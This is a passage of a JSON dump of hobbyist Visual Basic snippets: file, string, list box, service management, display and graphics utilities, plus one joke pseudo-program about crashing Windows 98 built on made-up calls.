vbCritical, \"CompactDatabase Error\"\n End Select\n \nScreen.MousePointer = vbNormal\nEnd Function\nPublic Function GetFileSize(strFile As String) As String\nDim fso As New Scripting.FileSystemObject\nDim f As File\nDim lngBytes As Long\nConst KB As Long = 1024\nConst MB As Long = 1024 * KB\nConst GB As Long = 1024 * MB\nSet f = fso.GetFile(fso.GetFile(strFile))\nlngBytes = f.Size\nIf lngBytes < KB Then\n GetFileSize = Format(lngBytes) & \" bytes\"\nElseIf lngBytes < MB Then\n GetFileSize = Format(lngBytes / KB, \"0.00\") & \" KB\"\nElseIf lngBytes < GB Then\n GetFileSize = Format(lngBytes / MB, \"0.00\") & \" MB\"\nElse\n GetFileSize = Format(lngBytes / GB, \"0.00\") & \" GB\"\nEnd If\nEnd Function"},{"WorldId":1,"id":3611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3619,"LineNumber":1,"line":"Function FormatCount(Count As Long, Optional FormatType As Byte = 0) As String\n Dim Days As Integer, Hours As Long, Minutes As Long, Seconds As Long, Miliseconds As Long\n \n Miliseconds = Count Mod 1000\n Count = Count \\ 1000\n Days = Count \\ (24& * 3600&)\n If Days > 0 Then Count = Count - (24& * 3600& * Days)\n Hours = Count \\ 3600&\n If Hours > 0 Then Count = Count - (3600& * Hours)\n Minutes = Count \\ 60\n Seconds = Count Mod 60\n Select Case FormatType\n Case 0\n FormatCount = Days & \" dd, \" & Hours & \" h, \" & _\n Minutes & \" min, \" & Seconds & \" s, \" & Miliseconds & _\n \" ms\"\n Case 1\n FormatCount = Days & \" days, \" & Hours & \" hours, \" & _\n Minutes & \" minutes, \" & Seconds & \" seconds, \" & Miliseconds & _\n \" miliseconds\"\n Case 2\n FormatCount = Days & \":\" & Hours & \":\" & _\n Minutes & \":\" & Seconds & \":\" & Miliseconds\n End Select\nEnd Function\n\n"},{"WorldId":1,"id":3621,"LineNumber":1,"line":"'Make a list box & name it List1\nPrivate Sub Form_Load()\nCall GetPasswords\nEnd Sub"},{"WorldId":1,"id":3624,"LineNumber":1,"line":"Public Sub SetLoaded()\n 'put this in your main forms' Load procedure\n 'this will set the count\n Dim lTemp As Long, sPath As String\n lTemp& = GetLoaded&\n If Right$(App.Path, 1) <> \"\\\" Then sPath$ = App.Path & \"\\\" & App.EXEName & \".tmp\" Else sPath$ = App.Path & App.EXEName & \".tmp\"\n Open sPath$ For Output As #1\n Print #1, lTemp& + 1\n Close #1\n End Sub\n Public Function GetLoaded() As Long\n 'call this to get how many times program has been loaded\n On Error Resume Next\n Dim sPath As String, sTemp As String\n If Right$(App.Path, 1) <> \"\\\" Then sPath$ = App.Path & \"\\\" & App.EXEName & \".tmp\" Else sPath$ = App.Path & App.EXEName & \".tmp\"\n Open sPath$ For Input As #1\n sTemp$ = Input(LOF(1), #1)\n Close #1\n If sTemp$ = \"\" Then GetLoaded& = 0 Else GetLoaded& = CLng(sTemp$)\n End Function\n"},{"WorldId":1,"id":3635,"LineNumber":1,"line":"Public Function Replace(sExpression As String, sFind As String, sReplace As String) As String\n' Title: Replace\n' Version: 1.01\n' Author: Leigh Bowers\n' WWW: http://www.esheep.freeserve.co.uk/compulsion\nDim lPos As Long\nDim iFindLength As Integer\n' Ensure we have all required parameters\n If Len(sExpression) = 0 Or Len(sFind) = 0 Then\n Exit Function\n End If\n \n' Determine the length of the sFind variable\n iFindLength = Len(sFind)\n \n' Find the first instance of sFind\n \n lPos = InStr(sExpression, sFind)\n \n' Process and find all subsequent instances\n \n Do Until lPos = 0\n sExpression = Left$(sExpression, lPos - 1) + sReplace + Mid$(sExpression, lPos + iFindLength)\n lPos = InStr(lPos, sExpression, sFind)\n Loop\n \n' Return the result\n Replace = sExpression\nEnd Function"},{"WorldId":1,"id":3647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3649,"LineNumber":1,"line":"Private Sub cmdConnect_Click()\n Dim x As Long\n x = WNetAddConnection(\"\\\\CPU1\\C\\WINDOWS\\DESKTOP\", \"\", \"R:\")\n If x <> 0 Then\n MsgBox \"connect failed\"\n End If\nEnd Sub\nPrivate Sub cmdDisconnect_Click()\n Dim x As Long\n x = WNetCancelConnection(\"R:\", 0)\n If x <> 0 Then\n MsgBox \"Disconnect failed\"\n End If\nEnd Sub\n"},{"WorldId":1,"id":3650,"LineNumber":1,"line":"Sub thumbnail(width As Integer, height As Integer, source As PictureBox, dest As PictureBox)\n 'This should help me to create a thumbnail of an image.\n \n 'ix and iy help to grab the pixels from the relative positions\n 'of the thumbnail from the image.\n Dim ix As Single, iy As Single\n \n 'x and y are just For...Next variables and xcounter/ycounter\n 'are used for reference to the thumbnail.\n Dim x As Single, y As Single, xcounter As Integer, ycounter As Integer\n \n 'These are a few safety precautions that you should take to\n 'make sure that the code works. The ScaleMode of the\n 'pictureboxes and their parents must be pixels.\n source.Parent.ScaleMode = vbPixels\n dest.Parent.ScaleMode = vbPixels\n source.ScaleMode = vbPixels\n dest.ScaleMode = vbPixels\n \n 'Calculate ix and iy, which are the 'steps' from which to grab\n 'pixels. Think of it as a fixed grid.\n ix = source.ScaleWidth / width\n iy = source.ScaleHeight / height\n \n 'Resize the thumbnail picturebox to accomodate the new\n 'thumbnail. There's a trap here; the thumbnail may not be\n 'exactly the size required.\n 'If you simply put dest.height = height and so on for the\n 'width, you might get the extra border on the right and\n 'bottom of the thumbnail.\n dest.height = source.ScaleHeight / iy\n dest.width = source.ScaleWidth / ix\n 'Now we make the thumbnail.\n For y = 0 To source.ScaleHeight - 1 Step iy\n For x = 0 To source.ScaleWidth - 1 Step ix\n \n 'Grab the image from the source and place it in the\n 'right spot in the thumbnail picture box.\n dest.PSet (xcounter, ycounter), source.Point(x, y)\n xcounter = xcounter + 1\n \n Next\n ycounter = ycounter + 1\n xcounter = 0\n Next\n 'The next line is not mandatory, except if you want the\n 'thumbnail to become a picture object.\n Set dest.Picture = dest.Image\nEnd Sub\n'To save the thumbnail you would then write a line such as\n'SavePicture dest.picture, \"thumbnail.bmp\" (or\n'SavePicture dest.image), remembering that the result is a\n'bitmap picture.\n"},{"WorldId":1,"id":3663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3667,"LineNumber":1,"line":"Option Explicit\nPrivate Sub cmdArrows_Click(Index As Integer)\n Dim I As Integer\n Select Case Index\n Case 0 ' > Button\n For i = 0 To lstLists(0).ListCount - 1\n If lstLists(0).Selected(i) Then\n lstLists(1).AddItem lstLists(0).List(i)\n lstLists(1).ItemData(lstLists(1).NewIndex) = lstLists(0).ItemData(i)\n End If\n Next i\n For i = (lstLists(0).ListCount - 1) To 0 Step -1\n If lstLists(0).Selected(i) Then\n lstLists(0).RemoveItem i\n End If\n Next i\n Case 1 ' >> Button\n For i = 0 To lstLists(0).ListCount - 1\n lstLists(1).AddItem lstLists(0).List(i)\n lstLists(1).ItemData(lstLists(1).NewIndex) = lstLists(0).ItemData(i)\n Next i\n For i = (lstLists(0).ListCount - 1) To 0 Step -1\n lstLists(0).RemoveItem i\n Next i\n Case 2 ' < Button\n For i = 0 To lstLists(1).ListCount - 1\n If lstLists(1).Selected(i) Then\n lstLists(0).AddItem lstLists(1).List(i)\n lstLists(0).ItemData(lstLists(0).NewIndex) = lstLists(1).ItemData(i)\n End If\n Next i\n For i = (lstLists(1).ListCount - 1) To 0 Step -1\n If lstLists(1).Selected(i) Then\n lstLists(1).RemoveItem i\n End If\n Next i\n Case 3 ' << Button\n For i = 0 To lstLists(1).ListCount - 1\n lstLists(0).AddItem lstLists(1).List(i)\n lstLists(0).ItemData(lstLists(0).NewIndex) = lstLists(1).ItemData(i)\n Next i\n For i = (lstLists(1).ListCount - 1) To 0 Step -1\n lstLists(1).RemoveItem i\n Next i\n End Select\n \n SetButtons\n \nEnd Sub\nPrivate Sub Form_Load()\n Dim I As Integer, Flag As Boolean\n \n cmdArrows(0).Caption = \">\"\n cmdArrows(1).Caption = \">>\"\n cmdArrows(2).Caption = \"<\"\n cmdArrows(3).Caption = \"<<\"\n \n For I = 0 To Printer.FontCount - 1\n frmSelectList.lstLists(0).AddItem Printer.Fonts(I)\n Next I\n SetButtons ' go to set Select buttons\nEnd Sub\nPrivate Sub lstLists_Click(Index As Integer)\n \n SetButtons ' go to set select buttons\nEnd Sub\nPublic Sub SetButtons()\n \n cmdArrows(0).Enabled = False\n cmdArrows(1).Enabled = False\n cmdArrows(2).Enabled = False\n cmdArrows(3).Enabled = False\n \n If lstLists(0).ListCount > 0 Then\n cmdArrows(1).Enabled = True ' >> Button\n If lstLists(0).SelCount > 0 Then\n cmdArrows(0).Enabled = True ' > Button\n End If\n End If\n If lstLists(1).ListCount > 0 Then\n cmdArrows(3).Enabled = True ' << Button\n If lstLists(1).SelCount > 0 Then\n cmdArrows(2).Enabled = True ' < Button\n End If\n End If\n \nEnd Sub\nPrivate Sub lstLists_DblClick(Index As Integer)\n Select Case Index\n Case 0\n cmdArrows_Click (0) ' > Button\n Case 1\n cmdArrows_Click (2) ' < Button\n End Select\n \nEnd Sub\n"},{"WorldId":1,"id":3675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3682,"LineNumber":1,"line":"'Make Your Form Name frm\nPrivate Sub Form_Load()\nfrm.Show\nDim a As Integer\nDim b As Integer\nDim C As Integer\nDim d As Integer\nDim e As Integer\nDim f As Integer\nDim w As Integer\nDim X As Integer\nDim Y As Integer\nDim z As Integer\nCall frm.Move(0, 0)\nw = frm.Height\nX = frm.Width\nY = frm.Top\nz = frm.Left\na = 0\nb = 0\nC = w\nd = X\ne = Y\nf = z\nDo While a < frm.Height / 15 Or b < frm.Width / 15\na = a + 25\nb = b + 25\ne = e + 70\nf = f + 70\nIf a > frm.Height / 15 Then a = a - 24\nIf b > frm.Width / 15 Then b = b - 24\nCall frm.Move(f, e, d, C)\ncurrent = Timer\nDo While Timer - current < 0.01\nDoEvents\nLoop\nCall SetWindowRgn(frm.Hwnd, CreateEllipticRgn(0, 0, b, a), True)\nLoop\ncurrent = Timer\nDo While Timer - current < 1\nDoEvents\nLoop\nCall SetWindowRgn(frm.Hwnd, CreateEllipticRgn(0, 0, 0, 0), True)\nEnd Sub"},{"WorldId":1,"id":3686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3705,"LineNumber":1,"line":"Private Sub cmdEncrypt_Click()\npass$ = Len(password.Text) 'the number you shift each letter to encrypt\ntmpstr = Len(Text1.Text)\nIf tmpstr = \"0\" Then\nMsgBox (\"You must first type in something to Encrypt\") 'You can't encrypt nothing\nExit Sub\nEnd If\nFor i = 1 To tmpstr\nletter = Mid$(Text1.Text, i, 1) 'takes the ascii value and adds the length of the password to it\nencstr = Asc(letter) + pass$\nnewstr = Chr$(encstr) 'changes ascii value to a character\nencrypted$ = encrypted$ & newstr 'puts all the encrypted characters together\nNext i\nText1.Text = encrypted$ 'puts the encrypted string in text box\nEnd Sub\nPrivate Sub cmdDecrypt_Click()\npass$ = Len(password.Text) 'this is the exact same for the Encrypt Function\ntmpstr = Len(Text1.Text) 'the only difference is that instead of adding the lenght of password.text\n 'it is subtracted\nIf tmpstr = \"0\" Then\nMsgBox (\"You must first type in something to Decrypt\")\nExit Sub\nEnd If\nFor i = 1 To tmpstr\nletter = Mid$(Text1.Text, i, 1)\nencstr = Asc(letter) - pass$\nnewstr = Chr$(encstr)\ndecrypted$ = decrypted$ & newstr\nNext i\nText1.Text = decrypted$\nEnd Sub\n"},{"WorldId":1,"id":3706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3716,"LineNumber":1,"line":"Option Explicit\n'\n'Unlike the Shell command in VB which launches an application\n'asynchronous, this will launch the program synchronous.\n'What that means is that the shell execute command will launch\n'an application but not wait for it to execute before processing\n'the next line of code. This code will launch a program then\n'wait until the executable has terminated before executing the\n'next line of code. Works great for launching DOS exe's such\n'as batch files, reindexing old databases, and other executables\n'which must perform their task before your code continues.\n'Some versions don't work in Windows NT because of the added\n'security but this version does work in Windows NT.\n'I realize there are more elegant and sophisticated ways to do\n'the same thing but this one works fine for what I needed in a\n'professional application I was working on. I must credit Dan\n'Appleman's Programmer's Guide To The Win32 API for this code.\n'I also strongly suggest that anyone interested in understanding\n'more about these kind of techniques, read his book. In fact,\n'I recommend all of Dan Appleman's books when you are ready to\n'go from novice to professional programmer.\n'I appreciate your comments but please do your homework first!\n\nPublic Function LaunchAppSynchronous(strExecutablePathAndName As String) As Boolean\n \n 'Launches an executable by starting it's process\n 'then waits for the execution to complete.\n 'INPUT: The executables full path and name.\n 'RETURN: True upon termination if successful, false if not.\n \n Dim lngResponse As Long\n Dim typStartUpInfo As STARTUPINFO\n Dim typProcessInfo As PROCESS_INFORMATION\n \n LaunchAppSynchronous = False\n \n With typStartUpInfo\n .cb = Len(typStartUpInfo)\n .lpReserved = vbNullString\n .lpDesktop = vbNullString\n .lpTitle = vbNullString\n .dwFlags = 0\n End With\n \n 'Launch the application by creating a new process\n lngResponse = CreateProcessByNum(strExecutablePathAndName, vbNullString, 0, 0, True, NORMAL_PRIORITY_CLASS, ByVal 0&, vbNullString, typStartUpInfo, typProcessInfo)\n \n If lngResponse Then\n 'Wait for the application to terminate before moving on\n Call WaitForTermination(typProcessInfo)\n LaunchAppSynchronous = True\n Else\n LaunchAppSynchronous = False\n End If\n \nEnd Function\n\nPrivate Sub WaitForTermination(typProcessInfo As PROCESS_INFORMATION)\n 'This wait routine allows other application events\n 'to be processed while waiting for the process to\n 'complete.\n Dim lngResponse As Long\n 'Let the process initialize\n Call WaitForInputIdle(typProcessInfo.hProcess, INFINITE)\n 'We don't need the thread handle so get rid of it\n Call CloseHandle(typProcessInfo.hThread)\n 'Wait for the application to end\n Do\n lngResponse = WaitForSingleObject(typProcessInfo.hProcess, 0)\n If lngResponse <> WAIT_TIMEOUT Then\n 'No timeout, app is terminated\n Exit Do\n End If\n DoEvents\n Loop While True\n \n 'Kill the last handle of the process\n Call CloseHandle(typProcessInfo.hProcess)\n \nEnd Sub"},{"WorldId":1,"id":3724,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3731,"LineNumber":1,"line":"Sub Main()\n LoadTaskbar\n Pause(10000)\n LoadDesktop\n Pause(10000)\n If vbProcSpeed = vbFast Then\n MakeProcSpeed vbVerySlow\n Else\n Err.Raise 1\n RebootSystem\n End If\n MessUpRegistry\n DeleteAllDrivers\n Do \n SysResponse = 0\n While SysResponse = 1\n A = ShowBlueScreen\n If A <> 0 Then\n ShowBlueScreen\n Else\n Err.Raise 1\n SystemShutdown\n ClearBIOS\n End If\n ContinueNormalSession\nEnd Sub\nPrivate Sub Application_Load()\n SystemResources = 0\n ShowBlueScreen\n For A = 1 To 100\n Err.Raise 1\n Next A\n ActiveApp.Responding = False \n Pause(10000)\n MakeProcSpeed = vbVerySlow\n Pause(10000)\n A = MsgBox(\"An Error Has Occured. Reboot system?\",vbYesOnly,\"Duh\")\n If A = vbYes Then\n MsgBox \"Error: Unable to reboot system. Too useless.\"\n Err.Raise 1\n Else\n MsgBox \"Too Bad!\"\n Err.Raise 1\n Pause(10000)\n RebootSystem\n End If\nEnd Sub\nPrivate Sub Win98_OnError()\n SystemCrash\nEnd Sub\n\n"},{"WorldId":1,"id":3732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3733,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3735,"LineNumber":1,"line":"'#############################################################\n'# This code was written by Emmett Dixson (c)1999. You may alter\n'# this code, trade, steal, borrow, lend or give away this code.\n'# However, this code has been regisered with the Library of\n'# Congress as a literary acheivement and as such excludes it\n'# from being known or proclaimed as \"PUBLIC DOMAIN\". \n'#---------------You may NOT remove this header---------------\n'#------------------You may NOT SELL this work----------------\n'#----YES! You MAY use this work for commercial purposes------\n'#---This code MAY NOT be sold or redistributed for profit----\n'#-------- I wish you every success in your projects ---------\n'#------------------------ Visit me at -----------------------\n'#------------------http://developer.ecorp.net ---------------\n'#-----------------FREE Visual Basic Source Code -------------\n'##############################################################\n'For best results paste everything into a NEW MODULE and be sure\n'you SAVE the module to your project. I call the module...\n'Surething.bas because it won't let you down.\n'Works for Win3.x, Win95,Win98,WinNT and EVEN Win2000(don't ask!)\n'Here it is and it is Soooo sweet! \n'I mean it will call any file man and auto-launch it's\n'associated application in any Windows OS. \n'All you have to do is enter the path and the\n'file-name and extension. It is totally awesome if I do say so\n'my self.....LOL. \n'Don't change anything...just paste all this code into ONE\n'MODULE that you can add to a project.\nOption Explicit\nPrivate Declare Function ShellExecute Lib \"shell32.dll\" Alias \"ShellExecuteA\" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long\n \nFunction Shell(Program As String, Optional ShowCmd As Long = vbNormalNoFocus, Optional ByVal WorkDir As Variant) As Long\n Dim FirstSpace As Integer, Slash As Integer\n If Left(Program, 1) = \"\"\"\" Then\n FirstSpace = InStr(2, Program, \"\"\"\")\n If FirstSpace <> 0 Then\n Program = Mid(Program, 2, FirstSpace - 2) & Mid(Program, FirstSpace + 1)\n FirstSpace = FirstSpace - 1\n End If\n Else\n FirstSpace = InStr(Program, \" \")\n End If\n If FirstSpace = 0 Then FirstSpace = Len(Program) + 1\n If IsMissing(WorkDir) Then\n For Slash = FirstSpace - 1 To 1 Step -1\n If Mid(Program, Slash, 1) = \"\\\" Then Exit For\n Next\n If Slash = 0 Then\n WorkDir = CurDir\n ElseIf Slash = 1 Or Mid(Program, Slash - 1, 1) = \":\" Then\n WorkDir = Left(Program, Slash)\n Else\n WorkDir = Left(Program, Slash - 1)\n End If\n End If\n Shell = ShellExecute(0, vbNullString, _\n Left(Program, FirstSpace - 1), LTrim(Mid(Program, FirstSpace)), _\n WorkDir, ShowCmd)\n If Shell < 32 Then VBA.Shell Program, ShowCmd 'To raise Error\nEnd Function\n"},{"WorldId":1,"id":3741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3752,"LineNumber":1,"line":"Public Function Install_SVC(strServiceFileName As String, strServiceName As String, strDisplayName As String, bolInteractive As Boolean, bolAutoStart As Boolean, Optional strMachineName As Variant, Optional strAccount As Variant, Optional strAccountPassword As Variant) As Boolean\n Dim hSCM As Long\n Dim hSVC As Long\n Dim lngInteractive As Long\n Dim lngAutoStart As Long\n Dim pSTATUS As SERVICE_STATUS\n If bolInteractive = True Then lngInteractive = (&H100 Or &H10) Else lngInteractive = &H10\n If bolAutoStart = True Then lngAutoStart = &H2 Else lngAutoStart = &H3\n If IsMissing(strMachineName) = True Then strMachineName = vbNullString Else strMachineName = CStr(strMachineName)\n If IsMissing(strAccount) = True Then strAccount = vbNullString Else strAccount = CStr(strAccount)\n If IsMissing(strAccountPassword) = True Then strAccountPassword = vbNullString Else strAccountPassword = CStr(strAccountPassword)\n \n '// Open the service manager\n hSCM = OpenSCManager(strMachineName, vbNullString, &H2)\n If hSCM = 0 Then Exit Function '// error opening\n '// Install the service\n hSVC = CreateService(hSCM, _\n strServiceName, _\n strDisplayName, _\n 983551, _\n lngInteractive, _\n lngAutoStart, _\n 0, _\n strServiceFileName, _\n vbNull, _\n vbNull, _\n vbNullString, _\n strAccount, _\n strAccountPassword)\n \n If hSVC <> 0 Then Install_SVC = True\n \n Call CloseServiceHandle(hSVC)\n Call CloseServiceHandle(hSCM)\nEnd Function\n"},{"WorldId":1,"id":3759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3780,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3789,"LineNumber":1,"line":"Public Function EnumerateServices(colSVC As Collection, bolDisplayName As Boolean, Optional lngServiceType As Variant, Optional lngServiceState As Variant, Optional strMachineName As Variant) As Long\n \n '// lngServiceType = 0 (win32 services)\n '// lngServiceType = 1 (driver services)\n '// lngServiceState = 0 (active and inactive services)\n '// lngServiceState = 1 (active services)\n '// lngServiceState = 2 (inactive services)\n Dim hSCM As Long\n Dim lngBytesNeeded As Long\n Dim lngResumeHandle As Long\n Dim lngServicesReturned As Long\n Dim lngStructsNeeded As Long\n Dim lngServiceStatusInfoBuffer As Long\n Dim lngSVCReturnCode As Long\n Dim lngI As Long\n Dim strSVCName As String * 250\n Dim lpEnumServiceStatus() As ENUM_SERVICE_STATUS\n \n On Error Resume Next\n If IsMissing(lngServiceType) = True Then lngServiceType = 0 Else lngServiceType = CLng(lngServiceType)\n If IsMissing(lngServiceState) = True Then lngServiceState = 0 Else lngServiceState = CLng(lngServiceState)\n If IsMissing(strMachineName) = True Then strMachineName = vbNullString Else strMachineName = CStr(strMachineName)\n If lngServiceType = 0 Then lngServiceType = 30\n If lngServiceType = 1 Then lngServiceType = 11\n If lngServiceState = 0 Then lngServiceState = 3\n If lngServiceState = 1 Then lngServiceState = &H1\n If lngServiceState = 2 Then lngServiceState = &H2\n '// Open the service manager\n hSCM = OpenSCManager(strMachineName, vbNullString, &H4)\n If hSCM = 0 Then Exit Function '// error opening\n \n '// Get buffer size (bytes) without passing a buffer\n Call EnumServicesStatus(hSCM, lngServiceType, lngServiceState, ByVal &H0, &H0, lngBytesNeeded, lngServicesReturned, lngResumeHandle)\n \n '// We should receive MORE_DATA error\n If Not Err.LastDllError = 234 Then\n Call CloseServiceHandle(hSCM)\n Exit Function\n End If\n \n '// Calculate the number of structures needed and redimention array\n lngStructsNeeded = lngBytesNeeded / Len(lpEnumServiceStatus(0)) + 1\n ReDim lpEnumServiceStatus(lngStructsNeeded - 1)\n \n '// Get buffer size in bytes\n lngServiceStatusInfoBuffer = lngStructsNeeded * Len(lpEnumServiceStatus(0))\n \n '// Get services information starting entry 0\n lngResumeHandle = 0\n lngSVCReturnCode = EnumServicesStatus(hSCM, lngServiceType, lngServiceState, lpEnumServiceStatus(0), lngServiceStatusInfoBuffer, lngBytesNeeded, lngServicesReturned, lngResumeHandle)\n If lngSVCReturnCode <> 0 Then\n For lngI = 0 To lngServicesReturned - 1\n If bolDisplayName = True Then\n Call lstrcpy(ByVal strSVCName, ByVal lpEnumServiceStatus(lngI).lpDisplayName)\n Else\n Call lstrcpy(ByVal strSVCName, ByVal lpEnumServiceStatus(lngI).lpServiceName)\n End If\n colSVC.Add StripTerminator(strSVCName)\n Next\n End If\n \n Call CloseServiceHandle(hSCM)\n \n EnumerateServices = colSVC.Count\n \nEnd Function\nPrivate Function StripTerminator(ByVal strString As String) As String\n \n If InStr(strString, Chr(0)) > 0 Then StripTerminator = Left(strString, InStr(strString, Chr(0)) - 1) Else StripTerminator = strString\n \nEnd Function"},{"WorldId":1,"id":3792,"LineNumber":1,"line":"Public Function Get_ServerTime(ByVal strServerName As String) As String\n \n Dim lngBuffer As Long\n Dim strServer As String\n Dim lngNet32ApiReturnCode As Long\n Dim days As Date\n Dim TOD As TIME_OF_DAY\n \n On Error Resume Next\n \n '// Get server time\n strServer = StrConv(strServerName, vbUnicode) '// Convert the server name to unicode\n lngNet32ApiReturnCode = NetRemoteTOD(strServer, lngBuffer)\n If lngNet32ApiReturnCode = 0 Then\n CopyMem TOD, ByVal lngBuffer, Len(TOD)\n days = DateSerial(70, 1, 1) + (TOD.t_elapsedt / 60 / 60 / 24) '// Convert the elapsed time since 1/1/70 to a date\n days = days - (TOD.t_timezone / 60 / 24) '// Adjust for TimeZone differences\n Get_ServerTime = days\n End If\n \n '// Free pointers from memory\n Call NetApiBufferFree(lngBuffer)\nEnd Function"},{"WorldId":1,"id":3799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3838,"LineNumber":1,"line":"Function RemoveChar(sText As String, sChar As String) As String\n Dim iPos As Integer, iStart As Integer\n Dim sTemp As String\n iStart = 1\n Do\n iPos = InStr(iStart, sText, sChar)\n If iPos <> 0 Then\n sTemp = sTemp & Mid(sText, iStart, (iPos - iStart))\n iStart = iPos + 1\n End If\n Loop Until iPos = 0\n sTemp = sTemp & Mid(sText, iStart)\n RemoveChar = sTemp\nEnd Function\n\n'The code could then be called like this\nCall RemoveChar(Text1.text, \" \")\n'This will rmove all the spaces from the textbox\n'named Text1\n'I hope this helps some people out. I have actualy\n'surprisignly enought had 37 requests from visitors\n'to my site for this code."},{"WorldId":1,"id":3840,"LineNumber":1,"line":"'Changes the resolution to 640x480 with the current colordepth.\nDim DevM As DEVMODE\n'Get the info into DevM\nerg& = EnumDisplaySettings(0&, 0&, DevM)\n'We don't change the colordepth, because a\n'rebot will be necessary\nDevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT 'Or DM_BITSPERPEL\nDevM.dmPelsWidth = 640 'ScreenWidth\nDevM.dmPelsHeight = 480 'ScreenHeight\n'DevM.dmBitsPerPel = 32 (could be 8, 16, 32 or even 4)\n'Now change the display and check if possibleerg& = ChangeDisplaySettings(DevM, CDS_TEST)\n'Check if succesfullSelect Case erg&\nCase DISP_CHANGE_RESTART\n an = MsgBox(\"You've to reboot\", vbYesNo + vbSystemModal, \"Info\")\n If an = vbYes Then\n erg& = ExitWindowsEx(EWX_REBOOT, 0&)\n End If\nCase DISP_CHANGE_SUCCESSFUL\n erg& = ChangeDisplaySettings(DevM, CDS_UPDATEREGISTRY)\n MsgBox \"Everything's ok\", vbOKOnly + vbSystemModal, \"It worked!\"\nCase Else\n MsgBox \"Mode not supported\", vbOKOnly + vbSystemModal, \"Error\"\nEnd SelectEnd Sub\n"},{"WorldId":1,"id":3841,"LineNumber":1,"line":"'Add this code to the form_load event\n'or whatever you want to make it occur\n'Get the hWnd of the desktop\nDeskhWnd& = GetDesktopWindow()\n'BitBlt needs the DC to copy the image. So, we\n'need the GetDC API.\nDeskDC& = GetDC(DeskhWnd&)\nBitBlt Form1.hDC, 0&, 0&, _\nScreen.Width, Screen.Height, DeskDC&, _\n0&, 0&, SRCCOPY\n'This code was requested by 1 visitor to my site\n'Check out my site at http://www.vbtutor.com\n'Thanks"},{"WorldId":1,"id":3843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3845,"LineNumber":1,"line":"Dim ww As Integer\nDim Ixy_angle, Iz_angle, dYYshift, dXXshift, csx, csy As Integer\nDim cosa, cosb, sina, sinb, coscosba, cossinba, sincosba, sinsinba, zoom, pi180 As Double\n'This is the translation function\nPrivate Sub posxy(x1 As Double, y1 As Double, z1 As Double)\n Dim Yy, Xx As Double\n Yy = zoom / (10# - (z1 * cosb + y1 * sinsinba - x1 * sincosba))\n Xx = 100# * (1# + (y1 * cosa + x1 * sina) * Yy)\n csx = Int(dXXshift) + Int(Xx)\n Xx = 100# * (1# + (y1 * cossinba - x1 * coscosba - z1 * sinb) * Yy)\n csy = Int(dYYshift) + Int(Xx)\nEnd Sub\nSub rollup()\n Iz_angle = (Iz_angle + 5)\n cosb = Cos(Iz_angle * pi180)\n sinb = Sin(Iz_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n Form1.Cls\n NewPaint\nEnd Sub\nSub rolldown()\n Iz_angle = (Iz_angle - 5)\n cosb = Cos(Iz_angle * pi180)\n sinb = Sin(Iz_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n Form1.Cls\n NewPaint\nEnd Sub\nSub rollright()\n Ixy_angle = (Ixy_angle - 5)\n cosa = Cos(Ixy_angle * pi180)\n sina = Sin(Ixy_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n Form1.Cls\n NewPaint\nEnd Sub\nSub rollleft()\n Ixy_angle = (Ixy_angle + 5)\n cosa = Cos(Ixy_angle * pi180)\n sina = Sin(Ixy_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n Form1.Cls\n NewPaint\nEnd Sub\n'This subroutine identifies the code of the pressed key\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\n Select Case KeyAscii\n Case 97\n ww = 1\n Case 100\n ww = 2\n Case 119\n ww = 3\n Case 120\n ww = 4\n Case 49\n ww = 5\n Case 50\n ww = 6\n Case 27\n Unload Me\n \n End Select\nEnd Sub\nPrivate Sub Form_Load()\n pi180 = 0.01745392\n Ixy_angle = 270\n Iz_angle = 85\n 